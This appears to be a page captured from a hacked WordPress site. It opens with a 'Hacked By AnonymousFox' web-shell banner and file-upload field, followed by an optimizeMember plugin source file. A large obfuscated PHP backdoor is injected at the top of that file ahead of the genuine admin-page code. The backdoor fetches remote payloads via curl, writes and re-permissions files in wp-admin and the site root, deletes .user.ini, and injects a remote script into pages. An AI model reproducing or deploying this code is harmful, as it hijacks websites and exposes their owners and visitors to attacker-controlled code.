Hacked By AnonymousFox

Current Path : /home/wxcglxzi/public_html/wp-content/plugins/optimizeMember/includes/menu-pages/
Upload File :
Current File : //home/wxcglxzi/public_html/wp-content/plugins/optimizeMember/includes/menu-pages/scripting.inc.php

<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
/**
* Menu page for the optimizeMember plugin ( API Scripting page ).
*
* Copyright: © 2009-2011
* {@link http://www.optimizepress.com/ optimizePress, Inc.}
* ( coded in the USA )
*
* Released under the terms of the GNU General Public License.
* You should have received a copy of the GNU General Public License,
* along with this software. In the main directory, see: /licensing/
* If not, see: {@link http://www.gnu.org/licenses/}.
*
* @package optimizeMember\Menu_Pages
* @since 3.0
*/
if (realpath (__FILE__) === realpath ($_SERVER["SCRIPT_FILENAME"]))
	exit ("Do not access this file directly.");
/**/
if (!class_exists ("c_ws_plugin__optimizemember_menu_page_scripting"))
	{
		/**
		* Menu page for the optimizeMember plugin ( API Scripting page ).
		*
		* @package optimizeMember\Menu_Pages
		* @since 110531
		*/
		class c_ws_plugin__optimizemember_menu_page_scripting
			{
				public function __construct ()
					{
						echo '<div class="wrap ws-menu-page op-bsw-wizard op-bsw-content">' . "\n";
						/**/
						echo '<div class="op-bsw-header">';
							echo '<div class="op-logo"><img src="' . $GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["dir_url"]."/images/" . 'logo-optimizepress.png" alt="OptimizePress" height="50" class="animated flipInY"></div>';
						echo '</div>';
						echo '<div class="op-bsw-main-content">';
						echo '<h2>API / Scripting</h2>' . "\n";
						/**/
						echo '<table class="ws-menu-page-table">' . "\n";
						echo '<tbody class="ws-menu-page-table-tbody">' . "\n";
						echo '<tr class="ws-menu-page-table-tr">' . "\n";
						echo '<td class="ws-menu-page-table-l">' . "\n";
						/**/
						do_action ("ws_plugin__optimizemember_during_scripting_page_before_left_sections", get_defined_vars ());
						/**/
						if (apply_filters ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_display_api_easy_way", true, get_defined_vars ()))
							{
								do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_before_api_easy_way", get_defined_vars ());
								/**/
								echo '<div class="ws-menu-page-group" title="The Extremely Easy Way">' . "\n";
								/**/
								echo '<div class="ws-menu-page-section ws-plugin--optimizemember-api-easy-way-section">' . "\n";
								echo '<h3>The Extremely Easy Way ( no scripting required )</h3>' . "\n";
								echo '<p>From your optimizeMember Restriction Options panel, you may restrict access to certain Posts, Pages, Tags, Categories, and/or URIs based on a Member\'s Level. The optimizeMember Restriction Options panel makes it easy for you. All you do is type in the basics of what you want to restrict access to, and those sections of your site will be off limits to non-Members. That being said, there are times when you might need to have greater control over which portions of your site can be viewed by non-Members, or Members at different Levels; with different Capabilities. This is where API Scripting with Conditionals comes in.</p>' . "\n";
								do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_during_api_easy_way", get_defined_vars ());
								echo '</div>' . "\n";
								/**/
								echo '</div>' . "\n";
								/**/
								do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_after_api_easy_way", get_defined_vars ());
							}
						/**/
						if (apply_filters ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_display_api_simple_way", true, get_defined_vars ()))
							{
								do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_before_api_simple_way", get_defined_vars ());
								/**/
								if (is_multisite () && c_ws_plugin__optimizemember_utils_conds::is_multisite_farm () && !is_main_site ()) /* Two versions. */
									{
										echo '<div class="ws-menu-page-group" title="Simple/Shortcode Conditionals">' . "\n";
										/**/
										echo '<div class="ws-menu-page-section ws-plugin--optimizemember-api-simple-way-section">' . "\n";
										echo '<h3>Simple Conditionals ( via WordPress Shortcodes )</h3>' . "\n";
										echo '<p>In an effort to give you even more control over access restrictions, optimizeMember makes Simple Conditionals available to you from within WordPress, using Shortcodes that are fully compatible with both the Visual Editor, and also the HTML Tab in WordPress. In this section, we\'ll demonstrate several functions that are possible using Shortcodes: <strong><code>is_user_logged_in()</code></strong>, <strong><code>is_user_not_logged_in()</code></strong>, <strong><code>user_is(user_id, role)</code></strong>, <strong><code>user_is_not(user_id, role)</code></strong>, <strong><code>user_can(user_id, capability)</code></strong>, <strong><code>user_cannot(user_id, capability)</code></strong>, <strong><code>current_user_is(role)</code></strong>, <strong><code>current_user_is_not(role)</code></strong>, <strong><code>current_user_can(capability)</code></strong>, <strong><code>current_user_cannot(capability)</code></strong>. To make use of these functions, please follow our code samples below. Using Shortcodes, it\'s easy to build Simple Conditionals within your content; based on a Member\'s Level, or even based on Custom Capabilities. optimizeMember\'s Shortcodes can be used inside a Post/Page, and also inside Text Widgets.</p>' . "\n";
										echo '<p><em>There are <strong>two different Shortcodes</strong> being demonstrated here:<br /><strong>1. <code>opmIf</code></strong> ( for testing simple conditional expressions ).<br /><strong>2. <code>opmGet</code></strong> ( to get an API Constant value, a Custom Field, or meta key ).</em></p>' . "\n";
										do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_during_api_simple_way_farm", get_defined_vars ());
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										echo '<p><strong>Example #1:</strong> Full access for anyone that is logged in.</strong></p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/sc-is-user-logged-in-farm.x-php")) . '</p>' . "\n";

										echo '<div class="ws-menu-page-hr"></div>' . "\n";

										echo '<p><strong>Example #2:</strong> The same as example #1, but this uses <code>[else]</code> syntax.</strong></p>' . "\n";
										if(!c_ws_plugin__optimizemember_utils_conds::pro_is_installed()) echo '<p><em><strong class="ws-menu-page-hilite">NOTE: the use of <code>[else]</code> requires optimizeMember Pro.</strong></em></p>' . "\n";
										echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/sc-is-user-logged-in-else-farm.x-php")) . '</p>' . "\n";

